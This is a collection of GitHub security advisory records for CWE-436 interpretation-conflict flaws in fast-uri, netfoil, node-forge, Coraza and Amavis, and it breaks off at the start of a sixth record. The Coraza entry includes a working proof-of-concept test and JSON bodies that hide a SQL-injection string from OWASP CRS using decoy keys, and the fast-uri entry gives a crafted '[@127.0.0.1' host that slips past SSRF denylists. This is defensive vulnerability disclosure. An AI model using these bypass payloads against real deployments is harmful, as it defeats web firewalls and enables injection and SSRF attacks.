CWE-436

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5"
            },
            {
              "fixed": "2.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.6"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.1.6"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.3"
            },
            {
              "fixed": "4.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.1.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T21:23:35Z",
    "nvd_published_at": "2026-09-03T05:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`fast-uri` accepts a host that contains an unbalanced or misplaced authority bracket (`[` or `]`) without reporting an error. A host that starts with `[` but does not end with `]`, such as `[@127.0.0.1`, is neither validated as an IP literal nor canonicalized as a domain name, so `parse()` returns it as the host with `error` undefined, while Node\u0027s `URL` (and `http.get`, `axios`, `got`, and other clients built on it) resolve the same string to `127.0.0.1`. An application that reads `parse().host` to make a host decision (an SSRF denylist, a redirect allowlist, or proxy routing) and then passes the original URL to an HTTP client evaluates its policy against a string that is not the host the request reaches. The same host is carried through `normalize()`, `equal()`, and `resolve()`.\n\n### Patches\n\nThis vulnerability has been patched in fast-uri `4.1.4`, `3.1.7`, and `2.4.6`. `parse()` now reports `URI host is malformed.` for any host that contains a bracket but is not a valid `[IPv6]` literal. All users should upgrade.\n\n### Workarounds\n\nIf upgrading is not immediately possible, reject any URL whose host contains a `[` or `]` that is not a well-formed IPv6 literal before making a host decision. Clients that fail closed on credential-bearing URLs, such as Node\u0027s global `fetch()`, are not affected by the reported vector.",
  "id": "GHSA-58mr-gqgx-xq4g",
  "modified": "2026-09-28T21:23:36Z",
  "published": "2026-09-28T21:23:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-58mr-gqgx-xq4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/pull/214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/commit/e00815236bc94107e44ef1b2f5318a06bac225c0"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fast-uri"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v2.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v3.1.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fast-uri/releases/tag/v4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tinfoil-factory/netfoil"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:03:49Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nPotential bypass of domain name filter by crafting a DNS request with multiple questions, with the first question being legitimate.\n\n### Impact\nDepends on a local attackers ability to craft multiple questions and the remote DoH server supporting them.",
  "id": "GHSA-59qp-cfj3-rp64",
  "modified": "2026-07-07T20:03:49Z",
  "published": "2026-07-07T20:03:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinfoil-factory/netfoil/security/advisories/GHSA-59qp-cfj3-rp64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinfoil-factory/netfoil"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "netfoil has a domain name filter bypass via multiple questions"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-12816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-26T22:07:19Z",
    "nvd_published_at": "2025-11-25T20:15:58Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCVE-2025-12816 has been reserved by CERT/CC\n\n**Description**\nAn Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.\n\n\n### Details\n\nA critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.\n\nThis vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).\n\n### Impact\n\nThis flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.\n\nThis vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`.\nhttps://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.\n\nThe following components in `node-forge` are impacted.\n[lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153)\n[lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667)\n[lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328)\n[lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90)\n[lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167)\n[lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363)\n[lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81)\n\nAny downstream application using these components is impacted.\n\nThese components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.",
  "id": "GHSA-5gfm-wpxj-wjgq",
  "modified": "2025-11-26T22:07:20Z",
  "published": "2025-11-26T22:07:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/pull/1124"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/521113"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/521113"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/node-forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-forge has an Interpretation Conflict vulnerability via its ASN.1 Validator Desynchronization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:45:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCoraza\u0027s JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza\u0027s representation with a harmless dotted property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1\u0027 OR \u00271\u0027=\u00271\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go\u0027s standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, \u0027.\u0027)\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza\u0027s [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza\u0027s existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go\u0027s standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1\u0027 OR \u00271\u0027=\u00271\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1\u0027 OR \u00271\u0027=\u00271\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(\u0026backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1\u0027 OR \u00271\u0027=\u00271\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=\u0026types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`\u0027s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1\u0027 OR \u00271\u0027=\u00271\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1\u0027 OR \u00271\u0027=\u00271`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python\u0027s JSON parsers keep\n`role = \"1\u0027 OR \u00271\u0027=\u00271\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`\u0027s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory\u0027s original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key\u0027s\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza\u0027s other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "id": "GHSA-5gj4-9gm7-2fx2",
  "modified": "2026-10-08T17:45:32Z",
  "published": "2026-10-08T17:45:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-28054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T17:15:07Z",
    "severity": "HIGH"
  },
  "details": "Amavis before 2.12.3 and 2.13.x before 2.13.1, in part because of its use of MIME-tools, has an Interpretation Conflict (relative to some mail user agents) when there are multiple boundary parameters in a MIME email message. Consequently, there can be an incorrect check for banned files or malware.",
  "id": "GHSA-5hmm-p9xx-45x3",
  "modified": "2025-11-05T00:31:17Z",
  "published": "2024-03-18T18:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28054"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/amavis/amavis/-/issues/112"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/amavis/amavis/-/raw/v2.13.1/README_FILES/README.CVE-2024-28054"
    },
    {
      "type": "WEB",
      "url": "https://lists.amavis.org/pipermail/amavis-users/2024-March/006811.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6J2MK2CS3KNJOS66QLW2MBJ4PIDLWJP5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CDF6M3UXP45INVSWB4HXEDZH35CVZIJ4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XQQQQPTZ5JHXTUCYUXZHY6RZJ6VOGOAJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6J2MK2CS3KNJOS66QLW2MBJ4PIDLWJP5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XQQQQPTZ5JHXTUCYUXZHY6RZJ6VOGOAJ"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/pod/MIME::Tools"
    },
    {
      "type": "WEB",
      "url": "https://www.amavis.org/release-notes.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
